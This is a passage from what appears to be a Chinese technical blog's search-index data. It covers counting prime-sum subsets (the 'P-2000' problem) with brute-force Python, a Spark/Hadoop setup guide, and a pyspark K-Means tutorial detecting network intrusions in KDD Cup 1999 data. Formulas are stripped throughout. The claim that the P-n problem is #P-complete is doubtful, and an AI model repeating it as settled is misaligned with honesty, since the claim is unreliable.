个子集和为 。 多项式时间性构造 需添加两个元素，素性判断可在多项式时间内完成，因此归约过程的时间复杂度为 ，满足多项式归约要求。 复杂性层级与理论意义#P 完全性的结论由于 #Subset Sum 是 #P 完全的，且 P-n 问题可通过上述归约与 #Subset Sum 相互转换，因此 P-n 问题是 #P 完全的。这一结论意味着： 除非 #P = FP（即所有 #P 问题可在多项式时间内求解），否则 P-n 问题无高效算法； 即使 P = NP 成立（NP 问题可高效判定），P-n 问题仍可能无法高效计数，因为 #P 完全性比 NP 完全性更强。 与其他 #P 完全问题的联系P-n 问题的归约过程与 #2SAT 的 #P 完全性证明类似。Valiant 最初通过矩阵积和式（Permanent）证明 #P 完全性，而后续研究使用图形化演算（如 ZH - 演算）简化了 #2SAT 到 #SAT 的归约。P-n 问题的归约则展示了数论约束（素性）如何与计数复杂性结合，为研究 #P 问题的扩展提供了新视角。 实际计算复杂性动态规划下的时间下界即使使用优化的动态规划算法，#Subset Sum 的时间复杂度仍为 ，其中 是元素数量， 是目标和。（T 是独立于 n 的数值变量，其输入规模随 T 指数增长。）对于具体的 P-2000 问题， ，假设 ，且需遍历所有素数 （约 个素数），总复杂度为： 其中 是素数计数函数，这在现有计算能力下完全不可行。 注意：动态规划下， P-n 问题的时间复杂度是 , 这是一个伪多项式时间复杂度，它不在 P 中，它是 #P 难的。 而 P-2000 问题的运行耗时是 ，有人说大 里面是一个常数，因此可以化简为 这是完全错误的。 的严格定义是 “存在常数 ，使得当 足够大时，运行时间 ”。这里的 必须是与 无关的固定值。当你关注 的情况，其本质仍是 复杂度算法在 时的具体耗时，而非 算法。 伪多项式特性源于其复杂度依赖输入数值而非输入规模。这一现象揭示了 NP 完全问题在特定约束下的可解性，也为算法设计提供了 “数值规模受限” 的优化方向。 SETH 假设下的不可行性根据强指数时间假设（SETH），Subset Sum 不存在 时间的算法。对于 P-2000 问题， 与 同阶（ ），因此即使在 SETH 下，其复杂度下界仍为 ，进一步验证了其计算困难性。 结论P-n 问题通过多项式归约与 #Subset Sum 等价，因此是 #P 完全的。这一结果揭示了计数问题与数论问题结合时的深刻复杂性。"},{"title":"","date":"2025-12-13T06:23:00.000Z","updated":"2025-12-13T06:50:00.000Z","comments":true,"path":"notes/P-2000/8.html","permalink":"https://blog.mhuig.top/notes/P-2000/8","excerpt":"","text":"暴力破解：确定 P-2000 问题的规模 暴力破解：确定 P-2000 问题的规模 估算问题的规模这里试图简单估算并大致了解 P-2000 问题的规模。 如果我们尝试暴力破解，有 个子集。最大值为 通过素数定理，我们知道小于 的素数数量. 蓝色曲线为 ，橙色是 ,绿色是 其中: 并且 所以 大约是 ⁡ 上面只是做个估计，对于准确结果: 小规模暴力穷举通过暴力破解计算集合 中元素和为素数的子集数量在计算上是不可能的，因为子集数量呈指数级增长，总共有 个子集，远超任何实际计算能力。不过，我们可以通过小规模集合演示暴力穷举的逻辑，帮助理解原理，尽管这种方法无法扩展到 的情况。 小规模集合的暴力破解逻辑对于较小的 （如 或 ），我们可以显式生成所有非空子集，计算它们的和，检查是否为素数，然后统计有效子集。具体步骤如下： 生成子集：使用组合方法生成所有非空子集（空集的和为 0，不是素数，可忽略）。 计算子集和：对每个子集求和。 素数检查：验证该和是否为素数。 统计计数：累计和为素数的子集数量。 小规模集合的 Python 实现以下代码适用于 的情况，当 时会因内存和时间限制无法运行： import itertoolsimport mathdef is_prime(num): \"\"\"检查一个数是否为素数（适用于小数的试除法）\"\"\" if num < 2: return False for i in range(2, int(math.sqrt(num)) + 1): if num % i == 0: return False return Truedef count_prime_subset_sums(n): \"\"\"统计{1,2,...,n}中和为素数的子集数量（暴力法）\"\"\" count = 0 # 遍历所有非空子集大小（1到n） for subset_size in range(1, n + 1): # 生成当前大小的所有子集 for subset in itertools.combinations(range(1, n + 1), subset_size): subset_sum = sum(subset) if is_prime(subset_sum): count += 1 return count# 示例：计算n=3时的结果（预期输出：4）print(count_prime_subset_sums(3)) # 输出：4 示例解析（以 n = 3 为例）集合 有 7 个非空子集： 各子集及其和： 、 、 、 、 、 、 。 和为素数的子集： 、 、 、 ，共 4 个 。 为何无法扩展到 n = 2000？对于 ，子集数量达到天文数字。即使使用优化的素数检查算法（如米勒 - 拉宾测试）和子集和优化方法（如动态规划），也无法突破指数级复杂度的瓶颈。可以尝试使用高级数学推导，包括： 子集和的奇偶性分析：大多数偶数和不是素数（除了 2）。 素数分布规律：利用素数在子集和中的分布模式。 组合数学优化：通过数学公式避免显式枚举子集。 核心结论暴力穷举仅能演示问题逻辑，但完全不适用于 的场景。形象地说，即使存储 的所有子集，所需能量也超过可观测宇宙的总能量，这凸显了概念理解与计算可行性之间的巨大差距。对于这类问题，数学洞察远比暴力计算更重要。"},{"title":"","date":"2025-12-15T02:19:00.000Z","updated":"2025-12-15T02:23:00.000Z","comments":true,"path":"notes/P-2000/9.html","permalink":"https://blog.mhuig.top/notes/P-2000/9","excerpt":"","text":"暴力穷举：一个简单的 P-5 问题示例 暴力穷举：一个简单的 P-5 问题示例 这里试图简化问题的规模，并举了一个简单的例子，非常简单，请不要小看它，这个简单的例子会让你对更难的问题有一个大致的理解。 我们先从一个简单的例子开始。 P-5 问题 求 的子集数，其元素之和为素数。 事实上，P-5 问题可以在多项式时间复杂度下归约为 P-2000 问题，这意味着用解决 P-2000 问题的算法可以求解 P-5 问题。 什么是质数？ 素数（或称素数）是指大于 1 的自然数，它不是两个较小自然数的乘积。 从 到 有 个质数， 他们是 。 有 个满足以下条件的子集，他们是 , , , , , , , , , , , . 这里使用的算法是暴力穷举。 暴力破解并不是 P-2000 问题的高效算法，但我还是要把它写在这里，因为暴力破解算法是普通人看到这个问题时首先想到的解决方案。 如果使用暴力穷举算法，P-2000 问题无法在宇宙结束之前解决。 P-n 问题 Python 实现 暴力穷举算法P-n 问题指找出集合 中所有元素之和为素数的非空子集数量。暴力穷举法通过枚举所有可能子集、计算元素和并验证素性来实现，虽直观但时间复杂度随 呈指数增长，仅适用于极小的 。 Python 实现def is_prime(num): \"\"\"判断一个数是否为素数（处理边界情况：num<2时返回False）\"\"\" if num < 2: return False for i in range(2, int(num**0.5) + 1): if num % i == 0: return False return Truedef count_prime_subsets_pn(n): \"\"\"计算集合{1,2,...,n}中和为素数的非空子集数量\"\"\" nums = list(range(1, n + 1)) # 生成集合{1,2,...,n} subset_count = 0 total_subsets = (1 << n) - 1 # 非空子集总数：2ⁿ - 1 for mask in range(1, total_subsets + 1): # 枚举所有非空子集（掩码从1到2ⁿ-1） subset_sum = 0 for i in range(n): # 计算当前子集的元素和 if mask & (1 << i): # 第i位为1表示包含第i个元素 subset_sum += nums[i] if is_prime(subset_sum): # 验证和是否为素数 subset_count += 1 return subset_count# 示例：计算P-5问题（n=5），应返回12print(count_prime_subsets_pn(5)) # 输出：12 时间复杂度分析子集枚举： 集合 有 个子集（含空集），需遍历其中 个非空子集。例如 时有 个非空子集， 时有 个，随 呈指数增长。 子集和计算： 每个子集需检查 个二进制位（对应 个元素）来计算和。例如 时，31 个子集共需 次加法； 时，1023 个子集共需 万次加法。总操作次数为 ，复杂度为 。 素数验证： 对每个子集和 ，素性验证需试除到 （ 为子集和，最大值为 ）。当 较大时， 的最大值约为 ， ，故单次素性验证复杂度为 。总素性验证复杂度为 （ 个子集 每个 的验证）。 总时间复杂度： 上述三部分中，子集枚举（ ）和素数验证（ ）的复杂度均被子集和计算（ ）主导，因此总复杂度为 。 局限性：指数爆炸的致命缺陷 ： 个子集，总操作量约 次，普通计算机可秒级完成。 ： 个子集，总操作量约 次，需数小时甚至数天。 ： 个子集，总操作量约 次，现有硬件几乎无法完成。 这就是暴力法无法解决 P-2000 等大规模问题的核心原因，指数级增长的计算量会突破任何硬件的处理极限。"},{"title":"","date":"2025-09-14T11:08:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/P-2000/index.html","permalink":"https://blog.mhuig.top/notes/P-2000/","excerpt":"P-2000 Archive","text":"P-2000 Archive P-2000 Archive .prev-next{ display: none !important; }"},{"title":"","date":"2020-05-07T11:06:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Spark/env.html","permalink":"https://blog.mhuig.top/notes/Spark/env","excerpt":"Environment Deployment Spark 环境部署（Ubuntu20.04） Spark  在 Ubuntu20.04 中的配置","text":"Environment Deployment Spark 环境部署（Ubuntu20.04） Spark  在 Ubuntu20.04 中的配置 实验环境 实验环境 Ubuntu20.04 LTSHadoop 2.6.0-cdh5.14.0Java 1.8.0_141Python3.8.2(default)Spark 3.0.0-preview2 配置 java 环境解压安装 jdk tar -zxvf jdk-8u141-linux-x64.tar.gz -C ../servers/ 配置环境变量 nano /etc/profile /etc/profileexport JAVA_HOME=/export/servers/jdk1.8.0_141export PATH=:$JAVA_HOME/bin:$PATH 修改完成之后记得  reboot -h now 或 source/etc/profile 生效 验证 jps 配置 Hadoop 环境下载解压Hadoop 2 可以通过  https://mirrors.cnnic.cn/apache/hadoop/common/  下载 将 Hadoop 安装至 /usr/local/ 中： sudo tar -zxf hadoop-2.6.0.tar.gz -C /usr/local # 解压到/usr/local中cd /usr/local/sudo mv ./hadoop-2.6.0/ ./hadoop # 将文件夹名改为hadoopsudo chown -R hadoop ./hadoop # 修改文件权限 Hadoop 伪分布式配置伪分布式需要修改 2 个配置文件  core-site.xml  和  hdfs-site.xml core-site.xmlcore-site.xml<configuration> <property> <name>hadoop.tmp.dir</name> <value>file:/usr/local/hadoop/tmp</value> <description>Abase for other temporary directories.</description> </property> <property> <name>fs.defaultFS</name> <value>hdfs://localhost:9000</value> </property></configuration> hdfs-site.xmlhdfs-site.xml<configuration> <property> <name>dfs.replication</name> <value>1</value> </property> <property> <name>dfs.namenode.name.dir</name> <value>file:/usr/local/hadoop/tmp/dfs/name</value> </property> <property> <name>dfs.datanode.data.dir</name> <value>file:/usr/local/hadoop/tmp/dfs/data</value> </property></configuration> 配置 JAVA_HOME到 hadoop 的安装目录修改配置文件 “/usr/local/hadoop/etc/hadoop/hadoop-env.sh”，在里面找到 “export JAVA_HOME=${JAVA_HOME}” 这行，然后，把它修改成 JAVA 安装路径的具体地址 NameNode 格式化cd /usr/local/hadoop./bin/hdfs namenode -format 开启 NameNode 和 DataNode 守护进程cd /usr/local/hadoop./sbin/start-dfs.sh 安装 Spark打开浏览器，访问 Spark 官方下载地址 由于我们已经自己安装了 Hadoop，所以，在 Choose a package type 后面需要选择 Pre-build with user-provided Hadoop将 spark 解压到 /usr/local,并重命名为 spark修改 Spark 的配置文件 spark-env.sh cd /usr/local/sparkcp ./conf/spark-env.sh.template ./conf/spark-env.sh 编辑 spark-env.sh 文件，在第一行添加以下配置信息: spark-env.shexport SPARK_DIST_CLASSPATH=$(/usr/local/hadoop/bin/hadoop classpath) 修改环境变量 /etc/profileexport HADOOP_HOME=/usr/local/hadoopexport SPARK_HOME=/usr/local/sparkexport PYTHONPATH=$SPARK_HOME/python:$SPARK_HOME/python/lib/py4j-0.10.4-src.zip:$PYTHONPATHexport PYSPARK_PYTHON=python3export PATH=$HADOOP_HOME/bin:$SPARK_HOME/bin:$PATH 运行 Spark 自带的示例，验证 Spark 是否安装成功 使用 Spark 计算 PI（3.1415926....） cd /usr/local/sparkbin/run-example SparkPi grep 命令进行过滤 bin/run-example SparkPi 2>&1 | grep \"Pi is\""},{"title":"","date":"2022-05-10T02:10:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Spark/index.html","permalink":"https://blog.mhuig.top/notes/Spark/","excerpt":".fa-secondary{opacity:.4} Spark","text":".fa-secondary{opacity:.4} Spark Spark .prev-next{ display: none !important; }"},{"title":"","date":"2020-08-02T10:23:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Spark/k-means.html","permalink":"https://blog.mhuig.top/notes/Spark/k-means","excerpt":"","text":"K-Means 基于 K 均值聚类的网络流量异常检测 (pyspark) 异常检测常用于检测欺诈、网络攻击、服务器及传感设备故障。在这些应用中，我们要能够找出以前从未见过的新型异常，如新欺诈方式、新入侵方法或新服务器故障模式。 数据集KDD Cup 1999 数据集 下载 KDD Cup 1999 数据集 数据集为 CSV 格式，每个连接占一行，包含 38 个特征。 单行示例： 0,tcp,http,SF,239,486,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,8,8,0.00,0.00,0.00,0.00,1.00,0.00,0.00,19,19,1.00,0.00,0.05,0.00,0.00,0.00,0.00,0.00,normal. 最后的字段表示类别标号。大多数标号为 normal.， 但也有一些样本代表各种网络攻击。 算法K 均值聚类算法聚类算法是指将一堆没有标签的数据自动划分成几类的方法，这个方法要保证同一类的数据有相似的特征。 算法过程K-Means 算法的特点是类别的个数是人为给定的。是一个迭代求解的聚类算法，属于划分型的聚类方法，即首先创建 K 个划分，然后迭代地将样本从一个划分转移到另一个划分来改善最终聚类的效果。其过程大致如下。 （1）根据给定的 K 值选取 K 个样本点作为初始划分中心。 （2）计算所有样本点到每一个划分中心的距离，并将所有样本点划分到距离最近的划分中心。 （3）计算每个划分中样本点的平均值，并将其作为新的中心。 （4）循环进行步骤（2）和步骤（3）直至最大迭代次数，或划分中心的变化小于某一预定义阈值。 伪代码function K-Means(输入数据，中心点个数K) 获取输入数据的维度Dim和个数N 随机生成K个Dim维的点 while(算法未收敛) 对N个点：计算每个点属于哪一类。 对于K个中心点： 1，找出所有属于自己这一类的所有数据点 2，把自己的坐标修改为这些数据点的中心点坐标 end 输出结果end K-Means 的一个重要的假设是：数据之间的相似度可以使用欧氏距离度量，如果不能使用欧氏距离度量，要先把数据转换到能用欧氏距离度量，这一点很重要。可以使用欧氏距离度量的意思就是欧氏距离越小，两个数据相似度越高。 假设簇划分为（,,…）,则优化目标是最小化平方误差 SSE: 其中是簇的均值向量，也称为质心，表达式为： 这是一个 NP 难题，因此只能采用启发式迭代方法。 K-Means 采用的启发式方式很简单，用下面一组图就可以形象的描述: 图 a 表达了初始的数据集，假设 k = 2。在图 b 中，随机选择了两个 k 类所对应的类别质心，即图中的红色质心和蓝色质心，然后分别求样本中所有点到这两个质心的距离，并标记每个样本的类别为和该样本距离最小的质心的类别，如图 c 所示，经过计算样本和红色质心和蓝色质心的距离，得到了所有样本点的第一轮迭代后的类别。此时对当前标记为红色和蓝色的点分别求其新的质心，如图 d 所示，新的红色质心和蓝色质心的位置已经发生了变动。图 e 和图 f 重复了在图 c 和图 d 的过程，即将所有点的类别标记为距离最近的质心的类别并求新的质心。最终得到的两个类别如图 f。 K-means 聚类最优 k 值的选取（手肘法）手肘法的核心指标是 SSE (sum of the squared errors，误差平方和),公式见上文。 核心思想是：随着聚类数 k 的增大，样本划分会更加精细，每个簇的聚合程度会逐渐提高，那么误差平方和 SSE 自然会逐渐变小。并且，当 k 小于真实聚类数时，由于 k 的增大会大幅增加每个簇的聚合程度，故 SSE 的下降幅度会很大，而当 k 到达真实聚类数时，再增加 k 所得到的聚合程度回报会迅速变小，所以 SSE 的下降幅度会骤减，然后随着 k 值的继续增大而趋于平缓，也就是说 SSE 和 k 的关系图是一个手肘的形状，而这个肘部对应的 k 值就是数据的真实聚类数。 特征的规范化去除数据的单位限制，将其转化为无量纲的纯数值，便于不同单位或量级的指标能够进行计算和比较。 1、数据的中心化 所谓数据的中心化是指数据集中的各项数据减去数据集的均值。 2、数据的标准化 所谓数据的标准化是指中心化之后的数据在除以数据集的标准差，即数据集中的各项数据减去数据集的均值再除以数据集的标准差。 特征的规范化可以通过将每个特征转换为标准得分来完成。这就是说用对每个特征值求平均，用每个特征值减去平均值，然后除以特征值的标准差，如下标准分计算公式所示： 类别型变量类别型特征可以用 one-hot 编码转换为几个二元特征，这几个二元特征可以看成数值型维度。 使用 N 位状态寄存器来对 N 个状态进行编码，每个状态都由他独立的寄存器位，并且在任意时候，其中只有一位有效。 解决了分类器不好处理属性数据的问题；在一定程度上也起到了扩充特征的作用。 聚类结果评价指标Entropy（熵）好的聚类应该和人工标签保持一致，大部分情况下，标签相同的数据点应聚在一起，而标签不同的数据点不应该在一起，并且簇内的数据点标签相同。熵值会变得很小。 对于一个聚类 i，首先计算聚类 i 中的成员（member）属于类（class）j 的概率其中是在聚类 i 中所有成员的个数，是聚类 i 中的成员属于类 j 的个数。 每个聚类的 entropy 可以表示为其中 L 是类（class）的个数。 整个聚类划分的 entropy 为其中 K 是聚类（cluster）的数目，m 是整个聚类划分所涉及到的成员个数。 Accuracy (准确率)比较每一条聚类结果是否和真的结果一致. 其中 N 表示文档总数，表示正确聚类的文档数. 实验过程准备数据，上传至 HDFSHDFS 创建文件夹 hadoop 关闭安全模式 上传 KDD Cup 1999 数据集 查看上传成功 通过 kddcup.names 加载列名称names=[]with open(\"/export/work/F/3/data/kddcup.names\") as f: line = f.readline() line = f.readline() while line: names.append(line.split(\":\")[0]) line = f.readline()names.append(\"label\") 输出列名称： ['duration', 'protocol_type', 'service', 'flag', 'src_bytes', 'dst_bytes', 'land', 'wrong_fragment', 'urgent', 'hot', 'num_failed_logins', 'logged_in', 'num_compromised', 'root_shell', 'su_attempted', 'num_root', 'num_file_creations', 'num_shells', 'num_access_files', 'num_outbound_cmds', 'is_host_login', 'is_guest_login', 'count', 'srv_count', 'serror_rate', 'srv_serror_rate', 'rerror_rate', 'srv_rerror_rate', 'same_srv_rate', 'diff_srv_rate', 'srv_diff_host_rate', 'dst_host_count', 'dst_host_srv_count', 'dst_host_same_srv_rate', 'dst_host_diff_srv_rate', 'dst_host_same_src_port_rate', 'dst_host_srv_diff_host_rate', 'dst_host_serror_rate', 'dst_host_srv_serror_rate', 'dst_host_rerror_rate', 'dst_host_srv_rerror_rate', 'label'] 构建 Dataframenames=['duration', 'protocol_type', 'service', 'flag', 'src_bytes', 'dst_bytes', 'land', 'wrong_fragment', 'urgent', 'hot', 'num_failed_logins', 'logged_in', 'num_compromised', 'root_shell', 'su_attempted', 'num_root', 'num_file_creations', 'num_shells', 'num_access_files', 'num_outbound_cmds', 'is_host_login', 'is_guest_login', 'count', 'srv_count', 'serror_rate', 'srv_serror_rate', 'rerror_rate', 'srv_rerror_rate', 'same_srv_rate', 'diff_srv_rate', 'srv_diff_host_rate', 'dst_host_count', 'dst_host_srv_count', 'dst_host_same_srv_rate', 'dst_host_diff_srv_rate', 'dst_host_same_src_port_rate', 'dst_host_srv_diff_host_rate', 'dst_host_serror_rate', 'dst_host_srv_serror_rate', 'dst_host_rerror_rate', 'dst_host_srv_rerror_rate', 'label']from pyspark.sql.types import Rowfrom pyspark.sql.types import StructTypefrom pyspark.sql.types import StructFieldfrom pyspark.sql.types import StringTypefrom pyspark.sql.types import FloatTypefrom pyspark.conf import SparkConffrom pyspark import SparkContextfrom pyspark.sql.session import SparkSession# 构建Dataframeconf = SparkConf().setAppName(\"applicaiton\").set(\"spark.executor.heartbeatInterval\",\"200000\").set(\"spark.network.timeout\",\"300000\")sc = SparkContext.getOrCreate(conf)spark = SparkSession(sc)testRDD = sc.textFile(\"/3/corrected\")fields = list(map( lambda fieldName : StructField(fieldName, StringType(), nullable = True) if fieldName in [\"protocol_type\", \"service\", \"flag\",\"label\"] else StructField(fieldName, FloatType(), nullable = True) , names))schema = StructType(fields)rowRDD = testRDD.map(lambda line : line.split(\",\")).map(lambda attr : Row(float(attr[0]),attr[1],attr[2],attr[3],float(attr[4]),float(attr[5]),float(attr[6]),float(attr[7]),float(attr[8]),float(attr[9]),float(attr[10]),float(attr[11]),float(attr[12]),float(attr[13]),float(attr[14]),float(attr[15]),float(attr[16]),float(attr[17]),float(attr[18]),float(attr[19]),float(attr[20]),float(attr[21]),float(attr[22]),float(attr[23]),float(attr[24]),float(attr[25]),float(attr[26]),float(attr[27]),float(attr[28]),float(attr[29]),float(attr[30]),float(attr[31]),float(attr[32]),float(attr[33]),float(attr[34]),float(attr[35]),float(attr[36]),float(attr[37]),float(attr[38]),float(attr[39]),float(attr[40]),attr[41]))testDF = spark.createDataFrame(rowRDD, schema)dataRDD = sc.textFile(\"/3/kddcup.data\")fields = list(map( lambda fieldName : StructField(fieldName, StringType(), nullable = True) if fieldName in [\"protocol_type\", \"service\", \"flag\",\"label\"] else StructField(fieldName, FloatType(), nullable = True) , names))schema = StructType(fields)rowRDD = dataRDD.map(lambda line : line.split(\",\")).map(lambda attr : Row(float(attr[0]),attr[1],attr[2],attr[3],float(attr[4]),float(attr[5]),float(attr[6]),float(attr[7]),float(attr[8]),float(attr[9]),float(attr[10]),float(attr[11]),float(attr[12]),float(attr[13]),float(attr[14]),float(attr[15]),float(attr[16]),float(attr[17]),float(attr[18]),float(attr[19]),float(attr[20]),float(attr[21]),float(attr[22]),float(attr[23]),float(attr[24]),float(attr[25]),float(attr[26]),float(attr[27]),float(attr[28]),float(attr[29]),float(attr[30]),float(attr[31]),float(attr[32]),float(attr[33]),float(attr[34]),float(attr[35]),float(attr[36]),float(attr[37]),float(attr[38]),float(attr[39]),float(attr[40]),attr[41]))dataDF = spark.createDataFrame(rowRDD, schema) 数据集统计统计数据集中各个类别标号以及每类样本有多少，并展示。 数据集的类别标号以及每类样本数 dataDF.groupBy(\"label\").count().show(10000)+----------------+-------+ | label| count|+----------------+-------+| warezmaster.| 20|| smurf.|2807886|| pod.| 264|| imap.| 12|| nmap.| 2316|| guess_passwd.| 53|| ipsweep.| 12481|| portsweep.| 10413|| satan.| 15892|| land.| 21|| loadmodule.| 9|| ftp_write.| 8||buffer_overflow.| 30|| rootkit.| 10|| warezclient.| 1020|| teardrop.| 979|| perl.| 3|| phf.| 4|| multihop.| 7|| neptune.|1072017|| back.| 2203|| spy.| 2|| normal.| 972781|+----------------+-------+ 测试集的类别标号以及每类样本数 testDF.groupBy(\"label\").count().show(10000) +----------------+------+| label| count|+----------------+------+| snmpguess.| 2406|| xlock.| 9|| warezmaster.| 1602|| processtable.| 759|| smurf.|164091|| pod.| 87|| worm.| 2|| snmpgetattack.| 7741|| mscan.| 1053|| nmap.| 84|| imap.| 1|| xterm.| 13|| sqlattack.| 2|| guess_passwd.| 4367|| mailbomb.| 5000|| xsnoop.| 4|| ipsweep.| 306|| portsweep.| 354|| named.| 17|| satan.| 1633|| land.| 9|| loadmodule.| 2|| ftp_write.| 3|| sendmail.| 17||buffer_overflow.| 22|| httptunnel.| 158|| apache2.| 794|| saint.| 736|| rootkit.| 13|| teardrop.| 12|| perl.| 2|| phf.| 2|| multihop.| 18|| udpstorm.| 2|| neptune.| 58001|| back.| 1098|| ps.| 16|| normal.| 60593|+----------------+------+ 尝试聚类from pyspark.ml import Pipeline,PipelineModelfrom pyspark.ml.clustering import KMeans,KMeansModelfrom pyspark.ml.feature import VectorAssemblerfrom pyspark.sql import DataFrameimport random 用 VectorAssembler 创建一个特征向量，基于这些特征向量用一个 K 均值实现来创建一个模型，再用一个管道将它们拼接在一起。从得到的模型中，可以提取并检验簇群中心。 numericOnly = dataDF.drop(\"protocol_type\", \"service\", \"flag\").cache()assembler = VectorAssembler(inputCols=numericOnly.drop(\"label\").columns, outputCol=\"featureVector\")kmeans = KMeans().setPredictionCol(\"cluster\").setFeaturesCol(\"featureVector\")pipeline = Pipeline().setStages([assembler, kmeans])pipelineModel = pipeline.fit(numericOnly)kmeansModel = pipelineModel.stages[-1]for i in kmeansModel.clusterCenters():print(i) 输出： [4.83401949e+01 1.83462154e+03 8.26203195e+02 5.71611720e-06 6.48779303e-04 7.96173468e-06 1.24376586e-02 3.20510858e-05 1.43529049e-01 8.08830584e-03 6.81851124e-05 3.67464677e-05 1.29349608e-02 1.18874823e-03 7.43095237e-05 1.02114351e-03 0.00000000e+00 4.08294086e-07 8.35165553e-04 3.34973508e+02 2.95267146e+02 1.77970317e-01 1.78036989e-01 5.76648988e-02 5.77299094e-02 7.89884132e-01 2.11796105e-02 2.82608102e-02 2.32981078e+02 1.89214283e+02 7.53713390e-01 3.07109788e-02 6.05051931e-01 6.46410786e-03 1.78091184e-01 1.77885898e-01 5.79276115e-02 5.76592214e-02][1.09990000e+04 0.00000000e+00 1.30993741e+09 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 1.00000000e+00 1.00000000e+00 0.00000000e+00 0.00000000e+00 1.00000000e+00 1.00000000e+00 1.00000000e+00 0.00000000e+00 0.00000000e+00 2.55000000e+02 1.00000000e+00 0.00000000e+00 6.49999976e-01 1.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00 1.00000000e+00 1.00000000e+00] 对这些数字做一个直观的解释并不容易，但是每一个数字都表示模型生成的一个簇群中心，也称为质心（centroid）。就每个数值输入特征而言，这些值是质心的坐标。 k 的选择如果每个数据点都紧靠最近的质心，则可认为聚类是较优的。这里的 “近” 采用欧氏距离定义。这是评估聚类质量的一种简单又常用的方法，使用与所有点之间距离的平均值，有时也可以使用平方距离的平均值。实际上，KMeansModel 提供了一个 computeCost 方法来计算平方距离的总和，并且很容易用来计算平方距离的平均值。 numericOnly = dataDF.drop(\"protocol_type\", \"service\", \"flag\").cache()# computeCost 方法来计算平方距离的总和，并且很容易用来计算平方距离的平均值。def clusteringScore0(data,k): assembler = VectorAssembler(inputCols=data.drop(\"label\").columns, outputCol=\"featureVector\") kmeans = KMeans().setSeed(int(random.random()*10)).setK(k).setPredictionCol(\"cluster\").setFeaturesCol(\"featureVector\") #.setMaxIter(40).setTol(1.0e-5) pipeline = Pipeline().setStages([assembler, kmeans]) pipelineModel = pipeline.fit(data) kmeansModel = pipelineModel.stages[-1] Srore=kmeansModel.computeCost(assembler.transform(data)) / data.count() return Srorefor k in range(20, 100, 20): print([k, clusteringScore0(numericOnly, k)]) 输出结果： [20, 148277112.23861197] [40, 49940659.143821806][60, 18265796.561388526][80, 15313289.324247833] 输出结果显示得分随着 k 的增加而降低。 增加迭代时间可以优化聚类结果。算法提供了 setTol () 来设置一个阈值，该阈值控制聚类过程中簇质心进行有效移动的最小值。降低该阈值能使质心继续移动更长的时间。使用 setMaxIter () 增加最大迭代次数也可以防止它过早停止，代价是可能需要更多的计算。 def clusteringScore1(data,k): assembler = VectorAssembler(inputCols=data.drop(\"label\").columns, outputCol=\"featureVector\") kmeans = KMeans().setSeed(int(random.random()*10)).setK(k).setPredictionCol(\"cluster\").setFeaturesCol(\"featureVector\").setMaxIter(40).setTol(1.0e-5) pipeline = Pipeline().setStages([assembler, kmeans]) pipelineModel = pipeline.fit(data) kmeansModel = pipelineModel.stages[-1] Srore=kmeansModel.computeCost(assembler.transform(data)) / data.count() return Srorefor k in range(20, 120, 20): print([k, clusteringScore1(numericOnly, k)]) 输出结果： [20, 148277112.23861197] [40, 11564470.915401561][60, 16343181.409780543][80, 22323383.079484705][100, 7572838.84573523] 糟糕的情况是，前面的结果中 k = 80 时的距离居然比 k = 60 的距离大。这不应该发生，因为 k 取更大值时，聚类的结果应该至少与 k 取一个较小值时的结果一样好。问题的原因在于，这种给定 k 值的 K 均值算法并不一定能得到最优聚类。K 均值的迭代过程是从一个随机点开始的，因此可能收敛于一个局部最小值，这个局部最小值可能还不错，但并不是全局最优的。 在 k 过了 100 这个点之后得分下降还是很明显，所以 k 的拐点值应该大于 100。 特征的规范化特征的规范化可以通过将每个特征转换为标准得分来完成。这就是说用对每个特征值求平均，用每个特征值减去平均值，然后除以特征值的标准差。 由于减去平均值相当于把所有数据点沿相同方法移动相同距离，不影响点之间的欧氏距离，所以实际上减去平均值对聚类结果没有影响。 from pyspark.ml.feature import StandardScalerdef clusteringScore2(data,k): assembler = VectorAssembler(inputCols=data.drop(\"label\").columns, outputCol=\"featureVector\") scaler = StandardScaler(inputCol=\"featureVector\", outputCol=\"scaledFeatureVector\", withStd=True, withMean=False) kmeans = KMeans().setSeed(int(random.random()*10)).setK(k).setPredictionCol(\"cluster\").setFeaturesCol(\"scaledFeatureVector\").setMaxIter(40).setTol(1.0e-5) pipeline = Pipeline().setStages([assembler,scaler,kmeans]) pipelineModel = pipeline.fit(data) kmeansModel = pipelineModel.stages[-1] Srore=kmeansModel.computeCost(pipelineModel.transform(data)) / data.count() return Srorefor k in range(60, 300, 30): print([k, clusteringScore2(numericOnly, k)]) 这有助于将维度放到更平等的基准上，而且在绝对的意义上，看点之间的绝对距离（也就是代价）要小得多。然而，k 值还没有出现一个明显的点，超过该点后，增加 k 值对于改善代价没有明显的作用： [60, 1.1611941370693641][90, 0.7236962692254361][120, 0.5581874996147724][150, 0.3886887438817504][180, 0.3333248112741165][210, 0.27497680552057235][240, 0.2556693718314817][270, 0.22710138015576076] 类别型变量归一化使聚类结果有了可贵的进步，但聚类结果还有进一步提升的空间。比如说，几个特征由于不是数值型就被去掉了，于是这些特征里有价值的信息也被丢掉了。如果将这些信息以某种形式加回来，我们应该能得到更好的聚类。 类别型特征可以用 one-hot 编码转换为几个二元特征，这几个二元特征可以看成数值型维度。举个例子，数据集的第二列代表协议类型，取值可能是 tcp、udp 或 icmp。可以把它们看成 3 个特征，分别取名为 is_tcp、is_udp 和 is_icmp。这样，特征值 tcp 就变成 1,0,0，udp 对应 0,1,0，icmp 对应 0,0,1，以此类推。 from pyspark.ml.feature import OneHotEncoder, StringIndexer# 类别型特征可以用 one-hot 编码转换为几个二元特征，这几个二元特征可以看成数值型维度。def oneHotPipeline(inputCol): indexer = StringIndexer(inputCol=inputCol,outputCol=inputCol + \"_indexed\").setHandleInvalid(\"keep\") encoder = OneHotEncoder(inputCol=inputCol + \"_indexed\",outputCol=inputCol + \"_vec\") pipeline = Pipeline().setStages([indexer, encoder]) return (pipeline, inputCol + \"_vec\")def clusteringScore3(data,k): protoTypeEncoder, protoTypeVecCol = 